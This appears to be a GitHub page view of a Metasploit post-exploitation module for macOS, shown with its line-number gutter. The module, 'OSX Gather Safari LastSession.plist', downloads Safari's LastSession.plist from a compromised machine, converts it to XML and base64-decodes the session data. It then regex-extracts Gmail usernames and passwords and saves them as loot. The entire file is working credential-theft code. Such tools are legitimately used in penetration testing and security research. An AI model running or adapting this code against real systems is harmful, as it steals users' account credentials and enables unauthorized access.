/
safari_lastsession.rb
221 lines (190 loc) · 6.2 KB
/
safari_lastsession.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rexml/document'
class MetasploitModule < Msf::Post
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OSX Gather Safari LastSession.plist',
'Description' => %q{
This module downloads the LastSession.plist file from the target machine.
LastSession.plist is used by Safari to track active websites in the current session,
and sometimes contains sensitive information such as usernames and passwords.
This module will first download the original LastSession.plist, and then attempt
to find the credential for Gmail. The Gmail's last session state may contain the
user's credential if his/her first login attempt failed (likely due to a typo),
and then the page got refreshed or another login attempt was made. This also means
the stolen credential might contain typos.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
'Platform' => [ 'osx' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'References' => [
['URL', 'http://www.securelist.com/en/blog/8168/Loophole_in_Safari']
]
)
)
end
#
# Returns the Safari version based on version.plist
# @return [String] The Safari version. If not found, returns ''
#
def get_safari_version
vprint_status("#{peer} - Checking Safari version.")
version = ''
f = read_file('/Applications/Safari.app/Contents/version.plist')
xml = begin
REXML::Document.new(f)
rescue StandardError
nil
end
return version if xml.nil?
xml.elements['plist/dict'].each_element do |e|
if e.text == 'CFBundleShortVersionString'
version = e.next_element.text
break
end
end
version
end
#
# Converts LastSession.plist to xml, and then read it
# @param filename [String] The path to LastSession.plist
# @return [String] Returns the XML version of LastSession.plist
#
def plutil(filename)
cmd_exec("plutil -convert xml1 #{filename}")
read_file(filename)
end
#
# Returns the XML version of LastSession.plist (text file)
# Just a wrapper for plutil
#
def get_lastsession
print_status("#{peer} - Looking for LastSession.plist")
plutil("#{expand_path('~')}/Library/Safari/LastSession.plist")
end
#
# Returns the <array> element that contains session data
# @param lastsession [String] XML data
# @return [REXML::Element] The Array element for the session data
#
def get_sessions(lastsession)
session_dict = nil
xml = begin
REXML::Document.new(lastsession)
rescue StandardError
nil
end
return nil if xml.nil?
xml.elements['plist'].each_element do |e|
found = false
e.elements.each do |e2|
next unless e2.text == 'SessionWindows'
session_dict = e.elements['array']
found = true
break
end
break if found
end
session_dict
end
#
# Returns the <dict> session element
# @param xml [REXML::Element] The array element for the session data
# @param domain [Regexp] The domain to search for
# @return [REXML::Element] The <dict> element for the session data
#
def get_session_element(xml, domain_regx)
dict = nil
found = false
xml.each_element do |e|
e.elements['array/dict'].each_element do |e2|
next unless e2.text =~ domain_regx
dict = e
found = true
break
end
break if found
end
dict
end
#
# Extracts Gmail username/password
# @param xml [REXML::Element] The array element for the session data
# @return [Array] [0] is the domain, [1] is the user, [2] is the pass
#
def find_gmail_cred(xml)
vprint_status("#{peer} - Looking for username/password for Gmail.")
gmail_dict = get_session_element(xml, /(mail|accounts)\.google\.com/)
return '' if gmail_dict.nil?
raw_data = gmail_dict.elements['array/dict/data'].text
decoded_data = Rex::Text.decode_base64(raw_data)
cred = decoded_data.scan(/Email=(.+)&Passwd=(.+)&signIn/).flatten
user, pass = cred.map { |data| Rex::Text.uri_decode(data) }
return '' if user.blank? || pass.blank?
['mail.google.com', user, pass]
end
#
# Runs the module
#
def run
cred_tbl = Rex::Text::Table.new({
'Header' => 'Credentials',
'Indent' => 1,
'Columns' => ['Domain', 'Username', 'Password']
})
#
# Downloads LastSession.plist in XML format
#
lastsession = get_lastsession
if lastsession.blank?
print_error("#{peer} - LastSession.plist not found")
return
else
p = store_loot('osx.lastsession.plist', 'text/plain', session, lastsession, 'LastSession.plist.xml')
print_good("#{peer} - LastSession.plist stored in: #{p}")
end
#
# If this is an unpatched version, we try to extract creds
#
=begin
version = get_safari_version
if version.blank?
print_warning("Unable to determine Safari version, will try to extract creds anyway")
elsif version >= "6.1"
print_status("#{peer} - This machine no longer stores session data in plain text")
return
else
vprint_status("#{peer} - Safari version: #{version}")
end
=end
#
# Attempts to convert the XML file to an actual XML object, with the <array> element
# holding our session data
#
lastsession_xml = get_sessions(lastsession)
unless lastsession_xml
print_error('Cannot read XML file, or unable to find any session data')
return
end
#
# Look for credential in the session data.
# I don't know who else stores their user/pass in the session data, but I accept pull requests.
# Already looked at hotmail, yahoo, and twitter
#
gmail_cred = find_gmail_cred(lastsession_xml)
cred_tbl << gmail_cred unless gmail_cred.blank?
unless cred_tbl.rows.empty?
p = store_loot('osx.lastsession.creds', 'text/plain', session, cred_tbl.to_csv, 'LastSession_creds.txt')
print_good("#{peer} - Found credential saved in: #{p}")
print_line
print_line(cred_tbl.to_s)
end
end
end